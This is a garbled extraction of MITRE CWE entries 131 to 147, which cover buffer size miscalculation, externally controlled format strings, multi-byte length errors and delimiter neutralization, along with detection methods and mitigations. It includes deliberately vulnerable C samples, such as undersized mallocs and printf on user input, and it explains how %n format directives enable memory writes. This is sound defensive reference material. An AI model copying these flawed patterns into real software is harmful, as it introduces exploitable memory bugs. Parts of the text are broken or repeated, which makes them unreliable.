- Source Code Quality Analyzer
Architecture / Design Review

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

C Example:

```c
int i;
unsigned int numWidgets;
Widget **WidgetList;
numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
    ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p
", WidgetList);
for(i=0; i<numWidgets; i++) {
    WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);
```

However, this code contains an off-by-one calculation error. It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be. So if the user ever requests MAX_NUM_WIDGETS, there is an off-by-one buffer overflow (CWE-193) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2:

The following image processing code allocates a table for images.

C Example:

```c
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

C Example:

```c
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    ```
The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4:
The following code is intended to read an incoming packet from a socket and extract one or more headers.

C Example:

```c
DataPacket *packet;
int numHeaders;
PacketHeader *headers;
sock=AcceptSocketConnection();
ReadPacket(packet, sock);
numHeaders=packet->headers;
if (numHeaders > 100) {
    ExitError("too many headers!");
}
headers = malloc(numHeaders * sizeof(PacketHeader));
ParsePacketHeaders(packet, headers);
```

The code performs a check to make sure that the packet does not contain too many headers. However, numHeaders is defined as a signed int, so it could be negative. If the incoming packet specifies a value such as -3, then the malloc calculation will generate a negative number (say, -300 if each header can be a maximum of 100 bytes). When this result is provided to malloc(), it is first converted to a size_t type. This conversion then produces a large value such as 4294966996, which may cause malloc() to fail or to allocate an extremely large amount of memory (CWE-195). With the appropriate negative numbers, an attacker could trick malloc() into using a very small positive number, which then allocates a buffer that is much smaller than expected, potentially leading to a buffer overflow.

Example 5:
The following code attempts to save three different identification numbers into an array. The array is allocated from memory using a call to malloc().

C Example:

```c
int *id_sequence;
/* Allocate space for an array of three ids. */
id_sequence = (int*) malloc(3);
if (id_sequence == NULL) exit(1);
/* Populate the id array. */
id_sequence[0] = 13579;
id_sequence[1] = 24680;
id_sequence[2] = 97531;
```
The problem with the code above is the value of the size parameter used during the malloc() call. It uses a value of ‘3’ which by definition results in a buffer of three bytes to be created. However the intention was to create a buffer that holds three ints, and in C, each int requires 4 bytes worth of memory, so an array of 12 bytes is needed, 4 bytes for each int. Executing the above code could result in a buffer overflow as 12 bytes of data is being saved into 3 bytes worth of allocated space. The overflow would occur during the assignment of id_sequence[0] and would continue with the assignment of id_sequence[1] and id_sequence[2].

The malloc() call could have used ‘3*sizeof(int)’ as the value for the size parameter in order to allocate the correct amount of space required to store the three ints.

### Potential Mitigations

#### Implementation

When allocating a buffer for the purpose of transforming, converting, or encoding an input, allocate enough memory to handle the largest possible encoding. For example, in a routine that converts "&" characters to "&amp;" for HTML entity encoding, the output buffer needs to be at least 5 times as large as the input buffer.

#### Implementation

Understand the programming language’s underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [R.131.7]

Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

#### Implementation

#### Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

#### Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Implementation
When processing structured incoming data containing a size field followed by raw data, identify
and resolve any inconsistencies between the size field and the actual size of the data (CWE-130).

Implementation
When allocating memory that uses sentinels to mark the end of a data structure - such as NUL
bytes in strings - make sure you also include the sentinel in your calculation of the total amount of
memory that must be allocated.

Implementation
Moderate
Replace unbounded copy functions with analogous functions that support length arguments, such
as strncpy with strncpy. Create these if they are not available.
This approach is still susceptible to calculation errors, including issues such as off-by-one errors
(CWE-193) and incorrectly calculating buffer lengths (CWE-131).
Additionally, this only addresses potential overflow issues. Resource consumption / exhaustion
issues are still possible.

Implementation
Use sizeof() on the appropriate data type to avoid CWE-467.

Implementation
Use the appropriate type for the desired action. For example, in C/C++, only use unsigned
types for values that could never be negative, such as height, width, or other numbers related to
quantity. This will simplify sanity checks and will reduce surprises related to unexpected casting.

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides
constructs that make this weakness easier to avoid.
Use libraries or frameworks that make it easier to handle numbers without unexpected
consequences, or buffer allocation routines that automatically track buffer size.
Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).
[R.131.1]

Build and Compilation
Compilation or Build Hardening
Defense in Depth
Run or compile the software using features or extensions that automatically provide a protection
mechanism that mitigates or eliminates buffer overflows.
For example, certain compilers and extensions provide automatic buffer overflow detection
mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /
GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.
This is not necessarily a complete solution, since these mechanisms can only detect certain types
of overflows. In addition, an attack could still cause a denial of service, since the typical response
is to exit the application.

Operation
Environment Hardening
Defense in Depth
Run or compile the software using features or extensions that randomly arrange the positions of a
program's executable and libraries in memory. Because this makes the addresses unpredictable,
it can prevent an attacker from reliably jumping to exploitable code.
Examples include Address Space Layout Randomization (ASLR) [R.131.3] [R.131.5] and
Position-Independent Executables (PIE) [R.131.10].
This is not a complete solution. However, it forces the attacker to guess an unknown value that
to changes every program execution. In addition, an attack could still cause a denial of service,
since the typical response is to exit the application.
Operation

Environment Hardening

Defense in Depth
Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.131.4] [R.131.5].

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Implementation

Compilation or Build Hardening
Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Architecture and Design

Operation

Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.131.6]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design

Operation

Sandbox or Jail

Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Maintenance Notes

This is a broad category. Some examples include:
- simple math errors,
- incorrectly updating parallel counters,
- not accounting for size differences when "transforming" one input to another format (e.g. URL canonicalization or other transformation that can generate a result that's larger than the original input, i.e. "expansion").

This level of detail is rarely available in public reports, so it is difficult to find good examples.

This weakness may be a composite or a chain. It also may contain layering or perspective differences.

This issue may be associated with many different types of incorrect calculations (CWE-682), although the integer overflow (CWE-190) is probably the most prevalent. This can be primary to resource consumption problems (CWE-400), including uncontrolled memory allocation (CWE-789). However, its relationship with out-of-bounds buffer access (CWE-119) must also be considered.

CWE-132: DEPRECATED (Duplicate): Miscalculated Null Termination

Weakness ID: 132 (Deprecated Weakness Base)  Status: Deprecated
Description
Summary
This entry has been deprecated because it was a duplicate of CWE-170. All content has been transferred to CWE-170.

CWE-133: String Errors

Description

Summary
Weaknesses in this category are related to the creation and modification of strings.

CAPEC-ID 135 Format String Injection

CWE-134: Use of Externally-Controlled Format String

Description

Summary
The software uses a function that accepts a format string as an argument, but the format string originates from an external source.

Extended Description
When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems.

It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- C (Often)
- C++ (Often)
- Perl (Rarely)

Modes of Introduction
The programmer rarely intends for a format string to be externally-controlled at all. This weakness is frequently introduced in code that constructs log messages, where a constant format string is omitted.

In cases such as localization and internationalization, the language-specific message repositories could be an avenue for exploitation, but the format string issue would be resultant, since attacker control of those repositories would also allow modification of message length, format, and content.

Common Consequences
Confidentiality
Read memory
Format string problems allow for information disclosure which can severely simplify exploitation of the program.

Integrity
Confidentiality
Availability

Execute unauthorized code or commands
Format string problems can result in the execution of arbitrary code.

Likelihood of Exploit
Very High

Detection Methods

Automated Static Analysis
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Black Box
Limited
Since format strings often occur in rarely-occurring erroneous conditions (e.g. for error message logging), they can be difficult to detect using black box methods. It is highly likely that many latent issues exist in executables that do not have associated source code (or equivalent source).

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Bytecode Weakness Analysis - including disassembler + source code weakness analysis
- Binary Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
- Binary / Bytecode simple extractor – strings, ELF readers, etc.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Fuzz Tester
- Framework-based Fuzzer
Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
   Highly cost effective:
      Manual Source Code Review (not inspections)
   Cost effective for partial coverage:
      Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
   Highly cost effective:
      Source code Weakness Analyzer
      Context-configured Source Code Weakness Analyzer
   Cost effective for partial coverage:
      Warning Flags

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
   Highly cost effective:
      Formal Methods / Correct-By-Construction
   Cost effective for partial coverage:
      Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:
The following program prints a string provided as an argument.

C Example:
```c
#include <stdio.h>
void printWrapper(char *string) {
    printf(string);
}
int main(int argc, char **argv) {
    char buf[5012];
    memcpy(buf, argv[1], 5012);
    printWrapper(argv[1]);
    return (0);
}
```
The example is exploitable, because of the call to printf() in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple.

Example 2:
The following code copies a command line argument into a buffer using snprintf().

C Example:
```c
int main(int argc, char **argv){
    char buf[128];
    ...
    snprintf(buf,128,argv[1]);
}
```
This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack.
Example 3:
Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc:

C Example:
```c
printf("%d %d %1$d %1$d\n", 5, 9);
```

This code produces the following output: 5 9 5 5. It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.

</tr>
</tbody>
</table>

### Potential Mitigations

#### Requirements

Choose a language that is not subject to this flaw.

#### Implementation

Ensure that all format string functions are passed a static string which cannot be controlled by the user and that the proper number of arguments are always sent to that function as well. If at all possible, use functions that do not support the %n operator in format strings. [R.134.1] [R.134.2]

#### Build and Compilation

Heed the warnings of compilers and linkers, since they may alert you to improper usage.

### Other Notes

While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A *printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program.

Frequently targeted entities are file names, process names, identifiers.

Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, he can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.

White Box Definitions

A weakness where the code path has:

1. start statement that accepts input
2. end statement that passes a format string to format string function where
   a. the input data is part of the format string and
   b. the format string is undesirable

Where "undesirable" is defined through the following scenarios:
1. not validated
2. incorrectly validated

CWE-135: Incorrect Calculation of Multi-Byte String Length

<table>
<thead>
<tr>
<th>Weakness ID:</th>
<th>135 (Weakness Base)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Status:</td>
<td>Draft</td>
</tr>
</tbody>
</table>

**Description**

**Summary**
The software does not correctly calculate the length of strings that can contain wide or multi-byte characters.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- C
- C++

**Common Consequences**

**Integrity**
**Confidentiality**
**Availability**

**Execute unauthorized code or commands**
This weakness may lead to a buffer overflow. Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

**Availability**

**Confidentiality**

**Read memory**

**DoS: crash / exit / restart**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**
Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Confidentiality
Read memory
In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

Enabling Factors for Exploitation
There are several ways in which improper string length checking may result in an exploitable condition. All of these, however, involve the introduction of buffer overflow conditions in order to reach an exploitable state.

The first of these issues takes place when the output of a wide or multi-byte character string, string-length function is used as a size for the allocation of memory. While this will result in an output of the number of characters in the string, note that the characters are most likely not a single byte, as they are with standard character strings. So, using the size returned as the size sent to new or malloc and copying the string to this newly allocated memory will result in a buffer overflow.

Another common way these strings are misused involves the mixing of standard string and wide or multi-byte string functions on a single string. Invariably, this mismatched information will result in the creation of a possibly exploitable buffer overflow condition.

Demonstrative Examples
The following example would be exploitable if any of the commented incorrect malloc calls were used.

C Example:  
#include <stdio.h>  
#include <strings.h>  
#include <wchar.h>  
int main() {  
  wchar_t wideString[] = L"The spazzy orange tiger jumped " \  
  "over the tawny jaguar.";  
  wchar_t *newString;  
  printf("Strlen() output: %d\nWcslen() output: %d\n",  
    strlen(wideString), wcslen(wideString));  
  /* Wrong because the number of chars in a string isn't related to its length in bytes //  
    newString = (wchar_t *) malloc(strlen(wideString));  
  */  
  /* Wrong because wide characters aren't 1 byte long! //  
    newString = (wchar_t *) malloc(wcslen(wideString));  
  */  
  /* Wrong because wcslen does not include the terminating null */  
  newString = (wchar_t *) malloc(wcslen(wideString) * sizeof(wchar_t));  
  /* correct */  
  newString = (wchar_t *) malloc((wcslen(wideString) + 1) * sizeof(wchar_t));  
  /*... */  
}

The output from the printf() statement would be:

| Strlen() output: 0 |
| Wcslen() output: 53 |

Potential Mitigations
Implementation
Input Validation
Always verify the length of the string unit character.

Implementation
Libraries or Frameworks
Use length computing functions (e.g. strlen, wcslen, etc.) appropriately with their equivalent type (e.g.: byte, wchar_t, etc.)

CWE-138: Improper Neutralization of Special Elements

Weakness ID: 138 (Weakness Class)  Status: Draft

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component.

**Extended Description**

Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If software does not prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol `<` ("less than") as meaning "read input from a file".

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

- Confidentiality
- Integrity
- Availability
- Other
- Execute unauthorized code or commands
- Alter execution logic
- DoS: crash / exit / restart

**Observed Examples**

</tr>
<tr>
<td>CVE-2003-0083</td>
<td>Multi-channel issue. Terminal escape sequences not filtered from log files.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Developers should anticipate that special elements (e.g. delimiters, symbols) will be injected into input vectors of their software system. One defense is to create a whitelist (e.g. a regular expression) that defines valid input according to the requirements specifications. Strictly filter any input that does not match against the whitelist. Properly encode your output, and quote any elements that have special meaning to the component with which you are communicating.

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
### Implementation
Use and specify an appropriate output encoding to ensure that the special elements are well-defined. A normal byte sequence in one encoding could be a special element in another.

### Implementation
#### Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

### Relationship Notes
This weakness can be related to interpretation conflicts or interaction errors in intermediaries (such as proxies or application firewalls) when the intermediary's model of an endpoint does not account for protocol-specific special elements.
See this entry's children for different types of special elements that have been observed at one point or another. However, it can be difficult to find suitable CVE examples. In an attempt to be complete, CWE includes some types that do not have any associated observed example.

**Research Gaps**

This weakness is probably under-studied for proprietary or custom formats. It is likely that these issues are fairly common in applications that use their own custom format for configuration files, logs, meta-data, messaging, etc. They would only be found by accident or with a focused effort based on an understanding of the format.

**CWE-140: Improper Neutralization of Delimiters**

<table>
<thead>
<tr>
<th>Weakness ID: 140 <em>(Weakness Base)</em></th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

**Description**

**Summary**

The software does not neutralize or incorrectly neutralizes delimiters.

**Time of Introduction**

- Implementation

**Common Consequences**

- Integrity
- Unexpected state

**Potential Mitigations**

- Implementation
- Input Validation

Developers should anticipate that delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

<td>Multiple internal space, insufficient quoting - program does not use proper delimiter between values.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Developers should anticipate that value delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.
Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

</tr>
</tbody>
</table>

Potential Mitigations

Developers should anticipate that record delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-144: Improper Neutralization of Line Delimiters

Weakness ID: 144 (Weakness Variant) Status: Draft

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as line delimiters when they are sent to a downstream component.

Extended Description
As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

## CWE-145: Improper Neutralization of Section Delimiters

**Weakness ID:** 145 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.

**Extended Description**

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All
Common Consequences

Integrity
Unexpected state

Potential Mitigations

Developers should anticipate that section delimiters will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation

CWE-146: Improper Neutralization of Expression/Command Delimiters

Weakness ID: 146 (Weakness Variant) Status: Incomplete

Description

Summary
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as expression or command delimiters when they are sent to a downstream component.

Extended Description
As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• Language-independent

Common Consequences
Confidentiality
Integrity
Availability
Other
• Execute unauthorized code or commands
• Alter execution logic

Potential Mitigations
Developers should anticipate that inter-expression and inter-command delimiters will be injected/removed/manipulated in the input vectors of their software system.

Implementation

Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding
While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
CWE Version 2.11

CWE-147: Improper Neutralization of Input Terminators

Implementation
Input Validation
